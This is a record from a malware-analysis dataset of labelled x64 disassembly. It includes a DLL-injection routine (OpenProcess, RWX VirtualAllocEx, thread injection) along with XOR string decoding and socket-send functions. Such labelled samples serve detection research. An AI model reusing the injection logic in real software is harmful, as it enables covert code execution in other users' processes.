joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001f348
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0xc0
mov rax, qword [0x1400b2700]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x14001f3a3
lea rdx, [rsp + 0x34]
mov rcx, rbx
call fcn.140023d2c
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140086430
add rsp, 0xc0
pop rbx
ret
lea rcx, [0x1400a2390]
call fcn.140182ade
nop
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14001fff8
Capabilities:
Allocate or change rwx memory
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x190
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1400b2700]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rsi, rdx
mov rdi, rcx
mov rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.140023d2c
nop
lea rcx, [rsp + 0x48]
call fcn.14001fd44
mov ebx, eax
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140020086
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020081
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020081
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086b5c
cmp ebx, 0xffffffff
jne 0x140020097
lea rcx, str.An_error_is_occured_when_trying_to_find_the_target_process._n
jmp fcn.14002022c
lea rcx, str._DLL_Injector__n
call fcn.14001d138
mov rdx, rdi
lea rcx, str.Process_:__s_n
call fcn.14001d138
mov edx, ebx
lea rcx, str.Process_ID_:__i_n_n
call fcn.14001d138
xor r9d, r9d
lea r8, [rsp + 0x70]
mov edx, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x1400200e6
lea rcx, str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
jmp fcn.14002022c
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14002010b
lea rcx, str.An_error_is_occured_when_trying_to_open_the_target_process._n
jmp fcn.14002022c
lea rcx, str._PROCESS_INJECTION__n
call fcn.14001d138
lea rcx, str.Process_opened_successfully._n
call fcn.14001d138
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r8, eax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140020160
lea rcx, str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
jmp fcn.14002022c
mov edx, esi
lea rcx, str.Memory_allocate_at_0x_X_n
call fcn.14001d138
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
mov rdx, rsi
mov rcx, rbx

Function at 0x140020654
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push r13
push r14
lea rbp, [rax - 0x198]
sub rsp, 0x280
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1400b2700]
xor rax, rsp
mov qword [rbp + 0x170], rax
movdqa xmm0, xmmword [0x1400a3250]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x40465b4c
mov dil, 0x46
mov word [rsp + 0x44], 0x41
xor ecx, ecx
lea r12d, [rcx + 1]
mov al, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
add rcx, r12
cmp rcx, 0x14
jb 0x1400206b9
mov byte [rsp + 0x45], 0
lea rcx, [rsp + 0x31]
call fcn.140304afe
xchg ecx, eax
invalid
Function at 0x140020df0
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
movdqa xmm0, xmmword [0x1400a2d80]
mov r10, rcx
movdqa xmm1, xmmword [0x1400a32b0]
xor ecx, ecx
movdqa xmmword [rbp - 0x39], xmm0
mov r11, rdx
movdqa xmm0, xmmword [0x1400a3310]
mov edx, ecx
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x1400a32c0]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm0, xmmword [0x1400a2d30]
movdqa xmmword [rbp - 9], xmm1
movdqa xmm1, xmmword [0x1400a32a0]
movdqa xmmword [rbp + 7], xmm0
movdqa xmm0, xmmword [0x1400a2d50]
movdqa xmmword [rbp + 0x17], xmm1
movdqa xmm1, xmmword [0x1400a3320]
movdqa xmmword [rbp + 0x27], xmm0
movdqa xmmword [rbp + 0x37], xmm1
mov word [rbp + 0x47], 0x69
mov al, byte [rbp - 0x39]
xor byte [rbp + rdx - 0x38], al
inc rdx
cmp rdx, 0x80
jb 0x140020e76
mov byte [rbp + 0x48], cl
lea rax, [rbp - 0x38]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], cl
jne 0x140020e94
test r11, r11
je 0x140020ec1
mov rax, rcx
mov r9, r10
xor edx, edx
inc ecx
div r8
mov al, byte [rbp + rdx - 0x38]
xor byte [r9], al
inc r9
movsxd rax, ecx
cmp rax, r11
jb 0x140020ea8
mov rax, r10
add rsp, 0x90
pop rbp
ret
Function at 0x14002a0a4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov rbx, rcx
mov esi, 0x7fffffff
mov ebp, 0x9908b0df
mov r9, qword [rbx]
mov r8d, dword [r9]
cmp r8d, 0x270
jne 0x14002a114
lea r8, [r9 + 8]
mov r10d, 0x270
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, esi
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, ebp
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14002a0d9
mov r8d, dword [r9]
jmp 0x14002a1e2
cmp r8d, 0x4e0
jb 0x14002a1e2
lea r10, [r9 + 0x9c4]
mov r11d, 0xe3
mov eax, dword [r10]
lea r8, [r10 + 4]
mov edx, dword [r8]
xor edx, eax
and edx, esi
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, ebp
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x14002a131
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov eax, dword [r10]
mov edx, eax
lea r8, [r10 + 4]
xor edx, dword [r8]
and edx, esi
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, ebp
xor ecx, dword [r10 - 0xd4c]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x14002a176
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
and edx, esi
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, ebp
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], 0
xor r8d, r8d
mov eax, r8d
mov edx, dword [r9 + rax*4 + 4]
mov ecx, edx
shr ecx, 0xb
lea eax, [r8 + 1]
mov dword [r9], eax
mov eax, dword [r9 + 0x1384]
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
mov rax, rcx
shr rax, 0x12
xor rax, rcx
cmp rax, qword [rbx + 0x10]
ja 0x14002a0c0
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
ret
Function at 0x14002ae00
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
test r8d, r8d
jle 0x14002b031
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x130
xor r10d, r10d
lea r11, [rsp]
sub r11, rcx
lea rbx, [rcx + 0x88]
mov qword [rsp + 0x20], r11
mov r14, rdx
mov qword [rbp + 0x88], rbx
mov eax, r10d
lea rdi, [rsp + 0x30]
shl eax, 6
movsxd r8, eax
add r8, r14
xor r9d, r9d
mov eax, r9d
inc r9d
shl eax, 2
movsxd rcx, eax
movzx eax, byte [r8 + rcx + 1]
movzx edx, byte [rcx + r8]
shl edx, 8
or edx, eax
movzx eax, byte [r8 + rcx + 2]
shl edx, 8
or edx, eax
movzx eax, byte [r8 + rcx + 3]
shl edx, 8
or edx, eax
mov dword [rdi], edx
lea rdi, [rdi + 4]
cmp r9d, 0x10
jl 0x14002ae62
lea r9, [rsp + 0x68]
mov edi, Ordinal_50
mov ecx, dword [r9 - 0x34]
mov r8d, ecx
mov edx, dword [r9]
mov eax, ecx
rol r8d, 0xe
lea r9, [r9 + 4]
shr ecx, 3
ror eax, 7
xor r8d, eax
mov eax, edx
xor r8d, ecx
rol eax, 0xd
mov ecx, edx
shr edx, 0xa
rol ecx, 0xf
xor ecx, eax
xor ecx, edx
add r8d, ecx
add r8d, dword [r9 - 0x3c]
add r8d, dword [r9 - 0x18]
mov dword [r9 + 4], r8d
sub rdi, 1
jne 0x14002aeaa
movups xmm0, xmmword [rbx]
xor r15d, r15d
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp], xmm0
mov r12d, dword [rsp + 8]
mov r13d, dword [rsp + 4]
mov edi, dword [rsp]
mov ebx, dword [rsp + 0xc]
movups xmmword [rsp + 0x10], xmm1
mov r9d, dword [rsp + 0x10]
mov esi, dword [rsp + 0x18]
mov r14d, dword [rsp + 0x14]
mov r11d, dword [rsp + 0x1c]
mov eax, r9d
mov r8d, r9d
rol eax, 7
mov ecx, r9d
ror r8d, 0xb
not ecx
xor r8d, eax
and ecx, esi
mov eax, r9d
mov edx, edi
ror eax, 6
xor r8d, eax
ror edx, 0xd
mov eax, r14d
and eax, r9d
xor ecx, eax
lea rax, [0x1400a1020]
add r8d, ecx
mov ecx, r13d
add r8d, dword [r15 + rax]
xor ecx, r12d
add r8d, dword [rsp + r15 + 0x30]
and ecx, edi
add r8d, r11d
mov eax, edi
rol eax, 0xa
mov r11d, esi
xor edx, eax
mov esi, r14d
mov eax, edi
mov r14d, r9d
ror eax, 2
lea r9d, [rbx + r8]
xor edx, eax
mov ebx, r12d
mov eax, r13d
add r15, 4
and eax, r12d
mov r12d, r13d
xor ecx, eax
mov r13d, edi
add edx, ecx
lea edi, [rdx + r8]
cmp r15, 0x100
jl 0x14002af27
mov dword [rsp + 0xc], ebx
mov edx, 8
mov rbx, qword [rbp + 0x88]
mov dword [rsp + 0x18], esi
mov rcx, rbx
mov esi, dword [rbp + 0x80]
mov dword [rsp + 0x14], r14d
mov r14, qword [rbp + 0x78]
mov dword [rsp + 0x1c], r11d
mov r11, qword [rsp + 0x20]
mov dword [rsp + 0x10], r9d
mov dword [rsp], edi
mov dword [rsp + 8], r12d
mov dword [rsp + 4], r13d
mov eax, dword [r11 + rcx - 0x88]
add dword [rcx], eax
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x14002aff7
inc r10d
cmp r10d, esi
jl 0x14002ae4e
mov rbx, qword [rsp + 0x170]
add rsp, 0x130
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140043c50
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret

Function at 0x140043f60
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140043f8a
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, str.LoadLibraryExA
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400a241c]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
test rax, rax
je 0x140043fee
mov rcx, rbx
test r14, r14
je 0x140043fd8
xor edx, edx
lea r8d, [rdx + 8]
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
test r14, r14
je 0x140044026
lea rdx, str.AddDllDirectory
mov rcx, rdi
Function at 0x140044100
Capabilities:
Get common file path
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [0x1400b2700]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
test cl, 2
je 0x140044166
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140044149
movzx eax, word [rsp + 0x30]
cmp al, 2
jne 0x140044143
shr ax, 8
cmp al, 2
je 0x140044166
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140086430
add rsp, 0x1e8
ret
call fcn.140075df0
test eax, eax
jne 0x14004437e
mov qword [rsp + 0x200], rsi
lea rcx, str.kernel32
mov qword [rsp + 0x208], rdi
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x1400441a6
mov qword [0x1400cfbb8], rsi
jmp 0x14004433b
mov qword [rsp + 0x1f0], rbx
lea rdx, str.LoadLibraryExA
mov rcx, rdi
mov qword [rsp + 0x1f8], rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, str.iphlpapi.dll
mov rbp, rax
mov rcx, rbx
lea rdx, [0x1400a241c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
test rax, rax
je 0x14004420b
mov rcx, rbx
test rbp, rbp
je 0x1400441fd
xor edx, edx
lea r8d, [rdx + 8]
call rbp
mov rsi, rax
jmp 0x1400442fa
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
jmp 0x1400442fa
test rbp, rbp
je 0x14004423a
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14004423a
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call rbp
mov rsi, rax
jmp 0x1400442fa
xor edx, edx
mov qword [rsp + 0x1e0], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r14d, eax
test eax, eax
je 0x1400442f2
lea ecx, [rax + 1]
add rcx, 0xc
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x1400442e9
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1400442e9
mov rcx, 0xffffffffffffffff
mov rax, rcx
nop word [rax + rax]
cmp byte [rdi + rax + 1], sil
lea rax, [rax + 1]
jne 0x140044290
mov edx, 0x5c
mov word [rax + rdi], dx
inc rcx
cmp byte [rdi + rcx], sil
jne 0x1400442a4
mov rdx, rdi
sub rdx, rbx
add rdx, rcx
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rdx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1400442c0
mov rcx, rdi
test rbp, rbp
je 0x1400442e0
xor edx, edx
lea r8d, [rdx + 8]
call rbp
jmp 0x1400442e6
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov rcx, rdi
call qword [fcn.1400878e2]
mov r14, qword [rsp + 0x1e0]
mov rbp, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1f0]
mov qword [0x1400cfbb8], rsi
test rsi, rsi
je 0x14004433b
lea rdx, str.if_nametoindex
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400cfbb0]
test rax, rax
cmovne rcx, rax
mov qword [0x1400cfbb0], rcx
xor edx, edx
mov dword [rsp + 0x20], 3
mov r9d, 2
xor r8d, r8d
lea ecx, [rdx + 6]
call fcn.1400759a0
test al, al
lea rcx, [0x1400d4550]
setne byte [0x1400d4548]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rdi, qword [rsp + 0x208]
xor eax, eax
mov rsi, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140086430
add rsp, 0x1e8
ret
Function at 0x1400548b0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
movaps xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x30]
mov rdi, rdx
call fcn.140035b90
mov rcx, rbx
movups xmm6, xmmword [rax]
call qword [0x14008a9a8]
mov rcx, rdi
mov rsi, rax
call qword [0x14008a9a8]
mov r8d, 1
mov rcx, rsi
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x140054960
nop word [rax + rax]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm6
call fcn.140035b90
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
call fcn.140035c20
cmp rax, 0x3e8
ja 0x140054993
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x140054910
test rsi, rsi
je 0x14005496e
mov rcx, rsi
call qword [0x14008a6e0]
test rbx, rbx
je 0x14005497c
mov rcx, rbx
call qword [0x14008a6e0]
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
test rsi, rsi
je 0x1400549a1
mov rcx, rsi
call qword [0x14008a6e0]
test rbx, rbx
je 0x1400549af
mov rcx, rbx
call qword [0x14008a6e0]
mov eax, 1
jmp 0x14005497e
Function at 0x140054e40
Capabilities:
Resolve dns

Disassembly:
push rbp
push r12
push r13
push r15
sub rsp, 0x28
mov r13, r9
xor ebp, ebp
mov qword [r9], rbp
xor r15d, r15d
lea r9, [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x140054fde
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rdi
mov rdi, qword [rsp + 0x68]
test rdi, rdi
je 0x140054fbe
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x20], r14
nop
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x140054eae
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054ea0
inc rbx
jmp 0x140054eb0
xor ebx, ebx
mov eax, dword [rdi + 4]
cmp eax, 2
jne 0x140054ebe
lea r14d, [rax + 0xe]
jmp 0x140054ecb
cmp eax, 0x17
jne 0x140054f64
lea r14d, [rax + 5]
cmp qword [rdi + 0x20], 0
je 0x140054f64
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140054f64
cmp rax, r14
jb 0x140054f64
lea rcx, [rbx + 0x30]
add rcx, r14
call qword [section..data]
mov rsi, rax
test rax, rax
je 0x140054f73
mov ecx, dword [rdi]
mov r8, r14
mov dword [rax], ecx
mov ecx, dword [rdi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rdi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rdi + 0xc]
mov dword [rax + 0xc], ecx
lea rcx, [rsi + 0x30]
mov dword [rax + 0x10], r14d
xor eax, eax
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x20], rcx
mov rdx, qword [rdi + 0x20]
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x140054f51
mov rcx, qword [rsi + 0x20]
mov r8, rbx
add rcx, r14
mov qword [rsi + 0x18], rcx
mov rdx, qword [rdi + 0x18]
call sub.VCRUNTIME140.dll_memcpy
test rbp, rbp
cmove rbp, rsi
test r15, r15
je 0x140054f61
mov qword [r15 + 0x28], rsi
mov r15, rsi
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x140054e90
jmp 0x140054f79
mov r12d, 8
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x58]
test rcx, rcx
je 0x140054f93
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r12d, r12d
je 0x140054fb9
test rbp, rbp
je 0x140054fb5
nop dword [rax]
mov rbx, qword [rbp + 0x28]
mov rcx, rbp
call qword [fcn.1400878e2]
mov rbp, rbx
test rbx, rbx
jne 0x140054fa0
xor ebp, ebp
jmp 0x140054fcd
test rbp, rbp
jne 0x140054fcd
mov r12d, 0x2af9
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r12d
mov rbx, qword [rsp + 0x50]
mov qword [r13], rbp
add rsp, 0x28
pop r15
pop r13
pop r12
pop rbp
ret

Function at 0x140055440
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x1400585b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [case.0x14003e0b1.0]
mov rdi, rax
test rax, rax
je 0x14005862d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x140058658
cmp ebx, esi
je 0x140058658
cmp ebx, 0x8000
ja 0x140058658
cmp ebx, esi
jb 0x140058653
mov edx, ebx
mov rcx, rdi
call qword [case.0x14003e0b1.0]
mov rdi, rax
test rax, rax
jne 0x1400585f0
mov rcx, rbp
call qword [fcn.1400878e2]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140058638
mov rcx, rdi
jmp 0x140058630

Function at 0x140059e20
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov byte [rsp + 0x38], 0xff
mov rcx, qword [rcx + 0x20]
mov edi, r8d
mov esi, edx
mov byte [rsp + 0x3a], dil
xor r9d, r9d
mov byte [rsp + 0x39], sil
lea rdx, [rsp + 0x38]
mov rcx, qword [rcx + 0x1a8]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140059e7f
Function at 0x14005a020
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14005a1c9
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x1a8]
mov rsi, rcx
mov r15, qword [rcx + 0x20]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbp
lea rbx, [rdi + 0x1eb8]
mov qword [rsp + 0x58], r14
lea r14, [rdi + 0x1cb8]
mov qword [rbx], r14
cmp r14, rbx
jae 0x14005a087
lea rax, [r14 + 1]
mov byte [r14], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14005a087
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14005a087
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx ebp, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005a0bd
mov byte [r9], bpl
inc qword [rbx]
mov r9, qword [rbx]
mov rbp, qword [rsp + 0x50]
cmp r9, rbx
jae 0x14005a113
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005a113
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005a113
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005a113
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005a113
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, r14
mov qword [rbx], r14
sub r9, 2
mov edx, 0x3e
mov rcx, rsi
call fcn.140059af0
mov rcx, qword [r15 + 0x1a8]
xor r9d, r9d
mov rdx, r14
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14005a175
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rsi
mov r8d, eax
call fcn.140041eb0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, rsi
call fcn.140059eb0
mov rcx, qword [r15 + 0x1a8]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005a1c1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rsi
mov r8d, eax
call fcn.140041eb0
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret